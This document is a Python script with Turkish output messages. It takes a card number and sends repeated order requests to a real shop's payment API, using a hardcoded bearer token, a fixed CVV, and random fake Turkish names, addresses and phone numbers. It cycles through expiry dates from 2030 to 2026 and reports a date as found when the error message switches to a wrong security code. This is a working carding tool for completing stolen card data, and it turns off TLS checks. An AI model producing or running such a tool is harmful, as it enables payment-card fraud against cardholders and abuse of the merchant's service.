import requests
import json
import random
import warnings
import sys
from urllib3.exceptions import InsecureRequestWarning

# Disable SSL warnings
warnings.filterwarnings('ignore', category=InsecureRequestWarning)

# API Configuration
url = "https://app.kedi7.com/api/customer/order"
bearer_token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOjM5OTcwNCwiaXNzIjoiaHR0cHM6Ly9hcHAua2VkaTcuY29tL2FwaS91c2VyX3ZlcmlmaWNhdGlvbiIsImlhdCI6MTc2MjU0NjIwMiwiZXhwIjozNzc2MjU0NjIwMiwibmJmIjoxNzYyNTQ2MjAyLCJqdGkiOiJpYUxOUUtBbEdKSnVNdjNMIn0.6YKMKH92olAHW-Q_RrEcpMN4CzmjXhbj4PnNCLNXBXw"

# Random data generator
def generate_random_data():
    first_names = ["Ahmet", "Mehmet", "Ayşe", "Fatma", "Ali", "Veli", "Zeynep", "Elif", "Mustafa", "Emine"]
    last_names = ["Yılmaz", "Kaya", "Demir", "Çelik", "Şahin", "Yıldız", "Öztürk", "Aydın", "Özdemir", "Arslan"]
    
    cities = ["İstanbul", "Ankara", "İzmir", "Bursa", "Antalya", "Adana", "Konya", "Gaziantep", "Şanlıurfa", "Mersin"]
    districts = {
        "İstanbul": ["Kadıköy", "Beşiktaş", "Şişli", "Üsküdar", "Beyoğlu"],
        "Ankara": ["Çankaya", "Keçiören", "Mamak", "Yenimahalle", "Etimesgut"],
        "İzmir": ["Konak", "Karşıyaka", "Bornova", "Buca", "Çiğli"],
        "Bursa": ["Osmangazi", "Nilüfer", "Yıldırım", "Gemlik", "İnegöl"],
        "Antalya": ["Muratpaşa", "Kepez", "Konyaaltı", "Alanya", "Manavgat"],
        "Adana": ["Seyhan", "Yüreğir", "Çukurova", "Sarıçam", "Karaisalı"],
        "Konya": ["Selçuklu", "Meram", "Karatay", "Ereğli", "Akşehir"],
        "Gaziantep": ["Şahinbey", "Şehitkamil", "Oğuzeli", "Nizip", "İslahiye"],
        "Şanlıurfa": ["Eyyübiye", "Haliliye", "Karaköprü", "Viranşehir", "Suruç"],
        "Mersin": ["Akdeniz", "Mezitli", "Toroslar", "Yenişehir", "Tarsus"]
    }
    
    first_name = random.choice(first_names)
    last_name = random.choice(last_names)
    city = random.choice(cities)
    district = random.choice(districts[city])
    
    # Random phone numbers
    gsm_sender = f"530 {random.randint(100, 999)} {random.randint(10, 99)} {random.randint(10, 99)}"
    gsm_receiver = f"530 {random.randint(100, 999)} {random.randint(10, 99)} {random.randint(10, 99)}"
    gsm_main = random.choice([gsm_sender, gsm_receiver])
    
    # Random email
    email_providers = ["gmail.com", "hotmail.com", "outlook.com", "yandex.com"]
    email = f"{first_name.lower()}{random.randint(100, 999)}@{random.choice(email_providers)}"
    
    # Random address
    street_names = ["Atatürk", "İstiklal", "Cumhuriyet", "Fatih", "Mimar Sinan"]
    address = f"{random.choice(street_names)} Cad. No:{random.randint(1, 150)} Daire:{random.randint(1, 20)} {district}/{city}"
    
    return {
        "name": f"{first_name} {last_name}",
        "surname": last_name,
        "cardholder": f"{first_name} {last_name}",
        "sender_name": f"{first_name} {last_name}",
        "city": city,
        "state": district,
        "order_adress": address,
        "gsm": gsm_main,
        "gsm_sender": gsm_sender,
        "gsm_receiver": gsm_receiver,
        "mail": email
    }

# Check if card number is provided
if len(sys.argv) < 2:
    print("Kullanim: python 2dmokaskt.py <kart_numarasi>")
    print("Ornek: python 2dmokaskt.py 5269110181974165")
    sys.exit(1)

# Get card number from argument
card_input = sys.argv[1].replace(" ", "")
if len(card_input) != 16:
    print("Hata: Kart numarasi 16 haneli olmali!")
    sys.exit(1)

# Format card number with spaces
formatted_card = f"{card_input[:4]} {card_input[4:8]} {card_input[8:12]} {card_input[12:16]}"

# Default CVV
default_cvv = "001"

print("=" * 80)
print(f"Kart Numarasi: {formatted_card}")
print(f"CVV: {default_cvv}")
print(f"Test: 2030/01 - 2026/12 (Her ay)")
print("=" * 80)

# Generate date combinations (2030 to 2026, all months)
test_count = 0
for year in range(30, 25, -1):  # 30 (2030) to 26 (2026)
    for month in range(1, 13):  # 01 to 12
        test_count += 1
        
        # Generate random data for each attempt
        random_data = generate_random_data()
        
        # Format month and year
        month_str = f"{month:02d}"
        year_str = f"{year:02d}"
        
        # Headers
        headers = {
            'accept-encoding': 'gzip',
            'authorization': f'Bearer {bearer_token}',
            'content-type': 'application/json',
            'host': 'app.kedi7.com',
            'user-agent': 'Dart/3.5 (dart:io)'
        }
        
        # Request Body
        request_data = {
            "cartId": "20251107-1952-8717-b041-b93bac182d9f",
            "name": random_data["name"],
            "surname": random_data["surname"],
            "order_adress": random_data["order_adress"],
            "city": random_data["city"],
            "state": random_data["state"],
            "post_code": "",
            "gsm": random_data["gsm"],
            "gsm_receiver": random_data["gsm_receiver"],
            "gsm_sender": random_data["gsm_sender"],
            "mail": random_data["mail"],
            "sender_name": random_data["sender_name"],
            "payment_type": 4,
            "cargo_id": "11",
            "note": None,
            "gift_price": 31.0,
            "gift_package": 0,
            "cardholder": random_data["cardholder"],
            "cardnumber": formatted_card,
            "cardcvv2": default_cvv,
            "cardexpiredatemonth": month_str,
            "cardexpiredateyear": year_str,
            "bank_id": None,
            "total_amount": 120.0,
            "products": [
                {
                    "product_id": "98",
                    "count": 1,
                    "images": [
                        {"hash": "$2y$10$qcpz.g6qKGNgSaW7iUQ9e.uyvNHtY062ccYKAhgqnR65R/dIs22H6", "orderItem": 0, "photo_text": None, "count": 1, "photo_color": None},
                        {"hash": "$2y$10$U2L6/QjB8bOQrx873e79D.m22y5sSKf.HFFTajp2Hcl8thjH7k.ei", "orderItem": 0, "photo_text": None, "count": 1, "photo_color": None},
                        {"hash": "$2y$10$95yQdTAeu0SZBFsOPwaGpeGVzZvywOV712vI5QKYvbQWW51SjMWXO", "orderItem": 0, "photo_text": None, "count": 1, "photo_color": None},
                        {"hash": "$2y$10$VYEiRVB49SR.2GRLPghDvuHzOslbRC/Fzm7CxzbSpMkwBnr6Dkt1C", "orderItem": 0, "photo_text": None, "count": 1, "photo_color": None},
                        {"hash": "$2y$10$8Lro7ZFYeUSrMsSxwF3hRO7HisGlA1oRJp77PCmGe3FPI8q2uUe4G", "orderItem": 0, "photo_text": None, "count": 1, "photo_color": None},
                        {"hash": "$2y$10$aYo8SdXZUlzS0wZAVCjVn.EAK5UdcLc.v4IZbEc3wB8iTVboFuqKC", "orderItem": 0, "photo_text": None, "count": 1, "photo_color": None},
                        {"hash": "$2y$10$BqimFMx8kVevJ7uvBZvIX..a84xQ5L6lLDgMWiKKVO3toEJTLVeUq", "orderItem": 0, "photo_text": None, "count": 1, "photo_color": None},
                        {"hash": "$2y$10$wwhKds8i5B.bPGfkP2qj3.PkRl9XAQKsj76TubPbSAPGQFFdHD5wq", "orderItem": 0, "photo_text": None, "count": 1, "photo_color": None},
                        {"hash": "$2y$10$xaFVY2ZsM81HSEBnmlAsQ.z0OxZXiRPZRGykkn.yEuMtLPQ7JwJAK", "orderItem": 0, "photo_text": None, "count": 1, "photo_color": None},
                        {"hash": "$2y$10$K85LGa8i/8IaUXE8DJya4eHWCAsHMRh1ZIfXrC83lyzlQoYIsHjbG", "orderItem": 0, "photo_text": None, "count": 1, "photo_color": None},
                        {"hash": "$2y$10$vowTNGV.XzhWQWkXSbCIJ.nkr3EbihKKWRWNINbMsMybBkGjfqW6u", "orderItem": 0, "photo_text": None, "count": 1, "photo_color": None},
                        {"hash": "$2y$10$JrlC8kUTcZxxoQ6VT41CQOJY4IJUD4lXeWIexA6oj7qvcdbFKnKXy", "orderItem": 0, "photo_text": None, "count": 1, "photo_color": None},
                        {"hash": "$2y$10$PLcAM5y.ymL1lyjYA4sVcum6tB3iNyJvAGQ06trjpKzEFoqkulVvy", "orderItem": 0, "photo_text": None, "count": 1, "photo_color": None},
                        {"hash": "$2y$10$ehY2zGqBxWyTTxth/Wi.me4YQC1BfaGG8aRYTfYcQdeNUjOaXD5n.", "orderItem": 0, "photo_text": None, "count": 1, "photo_color": None},
                        {"hash": "$2y$10$kRDjYk.8wjfCcbSOOVw9xeQlzTDL4ifg2o3nC.9TeMAFC/TPA07P6", "orderItem": 0, "photo_text": None, "count": 1, "photo_color": None},
                        {"hash": "$2y$10$fk82Y.UQe3tFREVrDO6yIe4rS4pAWupCAKnnypK1uJij0UNsBXGLy", "orderItem": 0, "photo_text": None, "count": 1, "photo_color": None},
                        {"hash": "$2y$10$g.2SCrm3y.3rTOw3J3yWCe4R6sjTTUckQZXRIagx.KSjE/mlOKU6O", "orderItem": 0, "photo_text": None, "count": 1, "photo_color": None},
                        {"hash": "$2y$10$LOwQYDpGIcWsQAfG6oGHhespq/Zm.Ik6xK26gYB163XU4c6EYFdSS", "orderItem": 0, "photo_text": None, "count": 1, "photo_color": None},
                        {"hash": "$2y$10$n/uq.zwygr9lGrlG.2mdxOQkAAGtp0d/Ox/VG9CAT6a1DJfemiByu", "orderItem": 0, "photo_text": None, "count": 1, "photo_color": None},
                        {"hash": "$2y$10$vpB9Mo8Q5WYt6TsImaa.Eu8AEdeeNIcYUKgQa42Z/6CbfiUmNTHQO", "orderItem": 0, "photo_text": None, "count": 1, "photo_color": None}
                    ]
                }
            ]
        }
        
        try:
            # Make POST request
            response = requests.post(url, json=request_data, headers=headers, verify=False, timeout=30)
            
            # Get message from response
            response_data = response.json() if response.headers.get('content-type', '').startswith('application/json') else {}
            message = response_data.get('message', 'No message') if isinstance(response_data, dict) else str(response_data)
            
            # Print result
            print(f"{test_count}. {month_str}/20{year_str} | {message}")
            
            # Check if CVV error message (Güvenlik Kodu hatali)
            if "G" in message and "venlik" in message and "Kodu" in message and "hatal" in message:
                print("=" * 80)
                print(f"✅ SKT BULUNDU!")
                print(f"Kart: {formatted_card}")
                print(f"SKT: {month_str}/20{year_str}")
                print(f"CVV: {default_cvv}")
                print("=" * 80)
                sys.exit(0)
            
        except Exception as e:
            print(f"{test_count}. {month_str}/20{year_str} | Error: {str(e)}")

print("=" * 80)
print(f"Toplam {test_count} deneme tamamlandi.")
